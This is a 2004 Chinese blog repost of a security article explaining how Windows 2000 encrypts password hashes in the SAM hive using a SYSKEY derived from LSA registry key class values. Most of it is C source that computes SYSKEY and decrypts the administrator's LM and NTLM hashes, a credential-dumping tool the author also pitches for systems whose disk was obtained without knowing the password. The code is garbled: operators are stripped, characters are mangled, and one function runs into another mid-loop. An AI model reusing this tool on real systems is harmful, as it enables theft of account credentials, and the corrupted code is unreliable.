http://blog.csdn.net/sunwear/archive/2004/10/03/123752.aspx    SAM的散列存儲加密解密演算法以及SYSKEY的計算SAM的散列存儲加密解密演算法以及SYSKEY的計算
轉摘請注明作者和安全焦點
作者：FLASHSKY
SITE：WWW.XFOCUS.NET，WWW.SHOPSKY.COM
郵件：flashsky@xfocus.org
作者單位：啟明星辰積極防禦實驗室        SAM中存放在密碼散列這是大家都知道的，但是其密碼存放在對應相對SID的V鍵下面卻是一種加密的形式，如何通過這個加密的串計算出密碼散列了，大家用PWDUMP3這樣的工具可以導出散列來，主要原理是系統空間會存在一個sampsecretsessionkey，PWDUMP3就是拷貝一個服務到對方機器上，讀出這個lsass進程空間的sampsecretsessionkey再進行解密的，其實這個sampsecretsessionkey的生成也是非常複
雜的，我們這裏做一個比PWDUMP3更深入的一個探討和分析，sampsecretsessionkey的計算與生成，這樣我們就能在直接從物理檔中計算出sampsecretsessionkey，來解密註冊表中的密碼散列，對於一個忘記密碼的系統或一個不知道用戶口令但已經獲得磁片的系統有這重要意義，這樣我們完全就能通過註冊表檔的分析來解密註冊表中的密碼散列。
        通過分析，我們發現以前在NT中常說的SYSKEY在W2K系統的這個過程中起著非常重要的作用，其實SYSKEY已經做為W2K的一個固定元件而存在了，我們下面給出一個整個過程：
         系統引導時：
        計算獲得SYSKEY
        讀取註冊表中的SAM\SAM\Domains\Accoun\V中保存的KEY資訊（一般是最後的0X38位元組的前0X30位元組）
        使用SYSKEY和F鍵的前0X10位元組，與特殊的字串"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"，"0123456789012345678901234567890123456789"做MD5運算，再與F鍵的後0X20位元組做RC4運算就可以獲得sampsecretsessionkey，這個
sampsecretsessionkey固定存放在LSASS進程中，作為解密SAM中加密資料到散列時用
        -------------------------------------------------
|系統計算出的SYSKEY                              |
|F鍵資訊的前0x10位元組                             |MD5
|"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"|--->------
|"0123456789012345678901234567890123456789"      |          |RC4
--------------------------------------------------          |------>sampsecretsessionkey
                                                            |
                     F鍵資訊的後0x20位元組 -------------------        
    當需要解密SAM中加密資料到散列時（如遠端登陸）:
        讀取sampsecretsessionkey，再與當前用戶的相對SID，散列類型名（如LMPASSWORD，NTPASSWORD）做MD5運算獲得針對這個用戶密碼散列的sessionkey
        利用sessionkey用RC4解密第一道加密的散列，再將用戶相對ID擴展成14位元組做DES切分，生成DESECB，再對用RC4處理後的散列進行分開成2次DES解密就可以獲得密碼散列。
       -------------------------
       |sampsecretsessionkey   |
       |sid                    |MD5
       |"LMPASSWOR"/"NTPASSWOR"|--->sessionkey---
       |                       |                 |RC4    2次DES(填充SID做KEY切分）
       -------------------------                 |----->-------------------------->HASH
                                                                          |
                對應的SAM中加密的密碼散列 ---------------------------------        這個演算法相當好，保證了不同用戶的相同散列在SAM存放不一樣（相對SID不一樣），不同機器的同一SID同口令的SAM中的散列存放不一樣（SYSKEY不同）；
        這個演算法的DES/RC4都是可逆的，這樣如果我們能通過離線（檔）方式獲得SYSKEY的話（其他的資訊都可以分析SAM檔獲得），我們完全實現離線修改SAM中口令的效果，不過這需要對註冊表的結構和SAM中V/F鍵的資料結構再做深入的研究，這裏就不談了。
        那麼SYSKEY是如何計算出來的呢？這可能是我發現MS最牛皮的一個地方了，先開始想一定會存放在註冊表某處，呵呵，最後跟蹤MS引導時候的WINLOGON進程才知道，SYSKEY是這樣計算出來的，很多人會大掉眼鏡吧：
        SYSKEY的計算是：SYSTEM\\CurrentControlSet\\Control\\Lsa下的
        JD，Skew1，GBG，Data四個鍵值的CLASS值通過換位得來的，靠，佩服MS。這樣我們完全可以離線分析註冊表就能獲得對其SAM的加密散列的導出或改寫了。        下面就是給出的完全實現計算SYSKEY-》sampsecretsessionkey，對特定用戶的SAM中加密的密碼散列再解密的代碼：當然如果從運行系統中解密散列也可以直接讀取sampsecretsessionkey，就象PWDUMP3那樣做的一樣也是可以的，但是如果要實現離線的就還需要再分析更多的東西。
    另外關於PWDUMP具體的方法，由於其是加密和反跟蹤的，我沒時間做仔細調式分析，但是從REGMON監視其註冊表操作的過程來說，是沒有去讀LSA下的任何東西的，因此可以斷定他是直接獲得ampsecretsessionkey來進行對SAM內容的解密到散列的。    //下面幾個函數的實現，DES相關的盒，ECB等的定義參考我以前發的文章 中的代碼，這裏不再給出
//void deskey(char * LmPass,unsigned char * desecb)
//void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);
//void md5init(unsigned char * LM);
//void md5final(unsigned char * LM);
//void initLMP(char * pass,unsigned char * LM);
//以前給出的des函數的實現沒有解密的部分，並且有個小錯誤，因此這裏再給出完整的一個    #include 
#include 
#include "des.h"    void getsyskey(unsigned char * syskey);
void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey);
void md5init(unsigned char * LM);
void md5final(unsigned char * LM);
void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);
void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key);
void getsamkey(unsigned char * sampsskey,unsigned char * uid,unsigned char * passwordtype,unsigned char * sessionkey);
void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid);
void initLMP(char * pass,unsigned char * LM);
void deskey(char * LmPass,unsigned char * desecb);
void des(unsigned char * LM,char * magic,unsigned char * ecb,long no);    void main()
{
    int i;
    //下面為了簡單，這3個是直接指定的用戶，相對SID的註冊表鍵名和相對SID，大家也可以寫成完全根據用戶名獲取的方式
    char username[]="SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator";
    char keyname[]="SAM\\SAM\\Domains\\Account\\Users\\000001F4";
    unsigned long uid=0x1F4;
    unsigned char syskey[0x10];
    unsigned char ensamnt[0x10];
    unsigned char ensamlm[0x10];
    unsigned char sessionkey[0x10];
    unsigned char buf[0x400];
    unsigned char sampsecretsessionkey[0x10];
    unsigned char lmhash[0x10];
    unsigned char nthash[0x10];
    unsigned char fkey[0x30];
    unsigned long ss;
    DWORD regtype;
    DWORD regint;
    unsigned char passwordtype[5][100]={"LMPASSWORD","NTPASSWORD","LMPASSWORDHISTORY","NTPASSWORDHISTORY","MISCCREDDATA"};        HKEY hkResult;
    HKEY hkResult1;
    //SAM中的鍵讀取先要提升自己成為LOCASYSTEM許可權，這裏並沒有實現,自己增加其中的代碼
    //讀出F鍵中用於計算
    regint=0x400;
    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account",0,KEY_READ,&hkResult);
    if(ss!=0)
        printf("no Privilege!\n");
    ss=RegQueryValueEx(hkResult,"F", NULL,®type,buf,®int);
    for(i=regint-1;i>=0;i--)
        if(buf[i]!=0)
            break;
    memcpy(fkey,buf i-0x2f,0x30);
    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,username,0,KEY_READ,&hkResult);
    //檢查此用戶是否存在
    if(ss!=ERROR_SUCCESS)
        return;
    //讀取該用戶下的V鍵中加密的散列資訊
    //由於目前還未解析V中的結構，我們就直接讀最後的那一串，一般都是如此存放在此
    //但也不排除例外，那就需要具體分析V中的結構來計算了
    regint=0x400;
    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,keyname,0,KEY_READ,&hkResult);
    ss=RegQueryValueEx(hkResult,"V", NULL,®type,buf,®int);
    memcpy(ensamnt,buf regint-0x18,0x10);
    memcpy(ensamlm,buf regint-0x2c,0x10);
    
    //計算SYSKEY，W2K系統默認SYSKEY使用,且成為其固定的一個元件
    getsyskey(syskey);
    //利用SYSKEY，F鍵中的KEY計算sampsecretsessionkey
    getsampsecretsessionkey(syskey,fkey);
    memcpy(sampsecretsessionkey,fkey 0x10,0x10);
    //上面的就是系統引導時完成的工作，這個sampsecretsessionkey固定保存在LSASS的進程空間內
    //當認證等或如PWDUMP3工作時候，就是先從系統中直接讀sampsecretsessionkey再進行處理        //根據具體用戶的相對SID，要恢復散列的散列類型，生成SESSIONKEY，如下面就是針對LM散列的
    getsamkey(sampsecretsessionkey,&uid,passwordtype[0],sessionkey);
    memcpy(lmhash,ensamlm,0x10);
    //利用SESSIONKEY，SAM中加密的LM散列，相對SID做RC4/DES解密獲得真正的散列
    getsamhash(lmhash,sessionkey,&uid);
    printf("HASH::");
    for(i=0;i<0x10;i  )
        printf("x",lmhash[i]);
    printf(":");
    //根據具體用戶的相對SID，要恢復散列的散列類型，生成SESSIONKEY，如下面就是針對NTLM散列的
    getsamkey(sampsecretsessionkey,&uid,passwordtype[1],sessionkey);
    memcpy(nthash,ensamnt,0x10);
    //利用SESSIONKEY，SAM中加密的NTLM散列，相對SID做RC4/DES解密獲得真正的散列
    getsamhash(nthash,sessionkey,&uid);
    for(i=0;i<0x10;i  )
        printf("x",nthash[i]);
    printf("\n");
}    void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid)
{
    //利用SESSIONKEY，SAM中加密的LM散列，相對SID做RC4/DES解密獲得真正的散列
    unsigned char desecb[128];
    unsigned char rc4keylist[0x102];
    unsigned char LM[0x10];
    unsigned char p1[0xe];
    unsigned char p2[0x10];
    memcpy(p1,uid,4);
    memcpy(p1 4,uid,4);
    memcpy(p1 8,uid,4);
    memcpy(p1 0xc,uid,2);
    //上面是用SID填充DESECB的KEY
    rc4_key(rc4keylist,sessionkey,0x10);
    rc4_2bc6(rc4keylist,0x10,ensaminfo);
    //RC4處理一次再用DES解密
    initLMP(p1,LM);
    deskey(LM,desecb);
    des(p2,ensaminfo,desecb,0);
    initLMP(p1 7,LM);
    deskey(LM,desecb);
    des(p2 8,ensaminfo 8,desecb,0);
    memcpy(ensaminfo,p2,0x10);
}    void getsamkey(unsigned char * sampsskey,unsigned long * uid,unsigned char * passwordtype,unsigned char * sessionkey)
{
    //根據具體用戶的相對SID，要恢復散列的散列類型，MD5生成SESSIONKEY
    unsigned char LM[0x58];
    int len,i;        md5init(LM);
    for(i=0;i<20;i  )
        if(passwordtype[i]==0)
            break;
    len=i 1;
    memcpy(LM 0x18,sampsskey,0x10);
    memcpy(LM 0x28,(unsigned char *)uid,4);
    memcpy(LM 0x2c,passwordtype,len);
    memset(LM 0x2c len,0x80,1);
    memset(LM 0x2c len 1,0x0,0x58-(0x2c len 1));
    *(DWORD *)LM=0x200;
    *(DWORD *)(LM 0X50)=0xF8;
    md5final(LM);
    memcpy(sessionkey,LM 8,0x10);
}    void getsyskey(unsigned char * syskey)
{
    unsigned char keyselect[]={0x8,0xA,0x3,0x7,0x2,0x1,0x9,0xF,
        0x0,0x5,0xd,0x4,0xb,0x6,0xc,0xe};  
    //換位表
    unsigned char syskey1[0x10];
    HKEY hkResult;
    HKEY hkResult1;
    int i,j;
    long ss;
    unsigned char classinfo[0x10];
    DWORD c1;        ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa",0,KEY_READ,&hkResult);
    if(ss!=ERROR_SUCCESS)
        return;
    ss=RegOpenKeyEx(hkResult,"JD",0,KEY_READ,&hkResult1);
    i=0;
    memset(syskey1,0,0x10);
    c1=0x10;
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j  )
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a' 0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A' 0xa;
                else
                    return;
            }
            syskey1[i 0]=16*classinfo[0] classinfo[1];
            syskey1[i 1]=16*classinfo[2] classinfo[3];
            syskey1[i 2]=16*classinfo[4] classinfo[5];
            syskey1[i 3]=16*classinfo[6] classinfo[7];
            i=i 4;
        }
    }
    c1=0x10;
    ss=RegOpenKeyEx(hkResult,"Skew1",0,KEY_READ,&hkResult1);
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j  )
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a' 0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A' 0xa;
                else
                    return;
            }
            syskey1[i 0]=16*classinfo[0] classinfo[1];
            syskey1[i 1]=16*classinfo[2] classinfo[3];
            syskey1[i 2]=16*classinfo[4] classinfo[5];
            syskey1[i 3]=16*classinfo[6] classinfo[7];
            i=i 4;
        }
    }
    c1=0x10;
    ss=RegOpenKeyEx(hkResult,"GBG",0,KEY_READ,&hkResult1);
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j  )
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a' 0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A' 0xa;
                else
                    return;
            }
            syskey1[i 0]=16*classinfo[0] classinfo[1];
            syskey1[i 1]=16*classinfo[2] classinfo[3];
            syskey1[i 2]=16*classinfo[4] classinfo[5];
            syskey1[i 3]=16*classinfo[6] classinfo[7];
            i=i 4;
        }
    }
    c1=0x10;
    ss=RegOpenKeyEx(hkResult,"Data",0,KEY_READ,&hkResult1);
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j  )
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a' 0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A' 0xa;
                else
                    return;
            }
            syskey1[i 0]=16*classinfo[0] classinfo[1];
            syskey1[i 1]=16*classinfo[2] classinfo[3];
            syskey1[i 2]=16*classinfo[4] classinfo[5];
            syskey1[i 3]=16*classinfo[6] classinfo[7];
            i=i 4;
        }
    }
    //這4個鍵的CLASS值組合起來做換位元就是MS的SYSKEY了
    for(i=0;i<0x10;i  )
    {
        syskey[keyselect[i]]=syskey1[i];
    }
    for(i=0;i<0x10;i  )
        printf("0xx ",syskey[i]);
    printf("\n");
}    void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey)
{
    unsigned char LM[0x58];
    unsigned char rc4keylist[0x102];
    char m1[]="!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
    char m2[]="0123456789012345678901234567890123456789";        md5init(LM);
    memcpy(LM 0x18,fkey,0x10);
    memcpy(LM 0x28,m1,0x2f);
    memcpy(LM 0x57,syskey,1);
    *(DWORD *)LM=0x278;
    md5final(LM);
    memcpy(LM 0x18,syskey 1,0xf);
    memcpy(LM 0x27,m2,0x29);
    *(DWORD *)LM=0x5c0;
    memset(LM 0x50,0x80,1);
    memset(LM 0x51,0,7);
    md5final(LM);
    *(DWORD *)LM=0x600;
    memset(LM 0x18,0,0x38);
    *(DWORD *)(LM 0x50)=0x3c0;
    *(DWORD *)(LM 0x54)=0;
    md5final(LM);
    rc4_key(rc4keylist,LM 8,0x10);
    rc4_2bc6(rc4keylist,0x20,fkey 0x10);
    //這裏生成在fkey中的前0X10位元組就是sampsecretsessionkey
    md5init(LM);
    memcpy(LM 0x18,fkey 0x10,0x10);
    memcpy(LM 0x28,m2,0x29);
    memcpy(LM 0x51,fkey 0x10,0x7);
    *(DWORD *)LM=0x248;
    md5final(LM);
    memcpy(LM 0x18,fkey 0x17,0x9);
    memcpy(LM 0x21,m1,0x2f);
    memset(LM 0x50,0x80,1);
    memset(LM 0x51,0,7);
    *(DWORD *)LM=0x5c0;
    md5final(LM);
    memset(LM 0x18,0,0x40);
    *(DWORD *)LM=0x600;
    *(DWORD *)(LM 0x50)=0x3c0;
    *(DWORD *)(LM 0x54)=0;
    md5final(LM);
}    void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key)
{
    unsigned long c1;
    unsigned char d1,b1,a1;
    int i;
    c1=rc4keylist[0x100];
    d1=rc4keylist[0x101];
    for(i=0;i>0x1c);
    d3 = d1;
    d1 = (d1^d2)&0xf0f0f0f0;
    d3 = d3^d1;
    d2 = d2^d1;
    d2 =(d2<<0x14)|(d2>>0xc);
    d1 = d2;
    d2 = (d2^d3)&0xfff0000f;
    d1 = d1 ^ d2;
    d3 = d3^d2;
    d1 = (d1<<0xe)|(d1>>0x12);
    d2 = d1;
    d1 = (d1 ^ d3) & 0x33333333;
    d2 = d2 ^ d1;
    d3 = d3^d1;
    d3 = (d3<<0x16)|(d3>>0xa);
    d1 = d3;
    d3 = (d3 ^ d2)&0x3fc03fc;
    d1 = d1^d3;
    d2 = d2^d3;
    d1 = (d1<<9)|(d1>>0x17);
    d3 = d1;
    d1 = (d1^d2)&0xaaaaaaaa;
    d3 = d3^d1;
    d2 = d2^d1;
    d2 = (d2<<1)|(d2>>0x1f);
    if(no!=0)
    {
        for(i=0;i<8;i  )
        {
            a1=0;
            d1=*(DWORD *)(ecb 16*i);
            d4=*(DWORD *)(ecb 16*i 4);
            d1=(d1^d3)&0xfcfcfcfc;
            d4=(d4^d3)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d2=d2^a3;
            a3=DESSpBox3[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d2=d2^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d2=d2^a1;
            a1=DESSpBox8[a2/4];
            d2=d2^a1;
            a1=DESSpBox5[d1/4];
            d2=d2^a1;
            a1=DESSpBox6[d4/4];
            d2=d2^a1;                a1=0;
            d1=*(DWORD *)(ecb 16*i 8);
            d4=*(DWORD *)(ecb 16*i 0xc);
            d1=(d1^d2)&0xfcfcfcfc;
            d4=(d4^d2)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d3=d3^a3;
            a3=DESSpBox3[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d3=d3^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d3=d3^a1;
            a1=DESSpBox8[a2/4];
            d3=d3^a1;
            a1=DESSpBox5[d1/4];
            d3=d3^a1;
            a1=DESSpBox6[d4/4];
            d3=d3^a1;
        }
        d3=(d3>>1)|(d3<<0x1f);
        d1=d2;
        d2=(d2^d3)&0XAAAAAAAA;
        d1=d1^d2;
        d3=d3^d2;
        d1=(d1<<0x17)|(d1>>9);
        d2=d1;
        d1=(d1^d3)&0x3fc03fc;
        d2=(d2^d1);
        d3=d3^d1;
        d2=(d2<<0xa)|(d2>>0x16);
        d1=d2;
        d2=(d2^d3)&0x33333333;
        d1=d1^d2;
        d3=d3^d2;
        d3=(d3<<0x12)|(d3>>0xe);
        d2=d3;
        d3=(d3^d1)&0xfff0000f;
        d2=d2^d3;
        d1=d1^d3;
        d2=(d2<<0xc)|(d2>>0x14);
        d3=d2;
        d2=(d2^d1)&0xf0f0f0f0;
        d3=d3^d2;
        d1=d1^d2;
        d1=(d1>>4)|(d1<<0x1c);
        *(DWORD *)LM=d1;
        *(DWORD *)(LM 4)=d3;
    }
    else
    {
        for(i=7;i>=0;i--)
        {
            a1=0;
            d1=*(DWORD *)(ecb 16*i 8);
            d4=*(DWORD *)(ecb 16*i 0xc);
            d1=(d1^d3)&0xfcfcfcfc;
            d4=(d4^d3)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d2=d2^a3;
            a3=DESSpBox3[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d2=d2^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d2=d2^a1;
            a1=DESSpBox8[a2/4];
            d2=d2^a1;
            a1=DESSpBox5[d1/4];
            d2=d2^a1;
            a1=DESSpBox6[d4/4];
            d2=d2^a1;                a1=0;
            d1=*(DWORD *)(ecb 16*i 0);
            d4=*(DWORD *)(ecb 16*i 0x4);
            d1=(d1^d2)&0xfcfcfcfc;
            d4=(d4^d2)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d3=d3^a3;
            a3=DESSpBox3[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d3=d3^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d3=d3^a1;
            a1=DESSpBox8[a2/4];
            d3=d3^a1;
            a1=DESSpBox5[d1/4];
            d3=d3^a1;
            a1=DESSpBox6[d4/4];
            d3=d3^a1;
        }
        d3=(d3>>1)|(d3<<0x1f);
        d1=d2;
        d2=(d2^d3)&0XAAAAAAAA;
        d1=d1^d2;
        d3=d3^d2;
        d1=(d1<<0x17)|(d1>>9);
        d2=d1;
        d1=(d1^d3)&0x3fc03fc;
        d2=(d2^d1);
        d3=d3^d1;
        d2=(d2<<0xa)|(d2>>0x16);
        d1=d2;
        d2=(d2^d3)&0x33333333;
        d1=d1^d2;
        d3=d3^d2;
        d3=(d3<<0x12)|(d3>>0xe);
        d2=d3;
        d3=(d3^d1)&0xfff0000f;
        d2=d2^d3;
        d1=d1^d3;
        d2=(d2<<0xc)|(d2>>0x14);
        d3=d2;
        d2=(d2^d1)&0xf0f0f0f0;
        d3=d3^d2;
        d1=d1^d2;
        d1=(d1>>4)|(d1<<0x1c);
        *(DWORD *)LM=d1;
        *(DWORD *)(LM 4)=d3;
    }
}    版權聲明：CSDN是本Blog託管服務提供商。如本文牽涉版權問題，CSDN不承擔相關責任，請版權擁有者直接與文章作者聯繫解決。    posted on 2004年10月03日 6:12 AM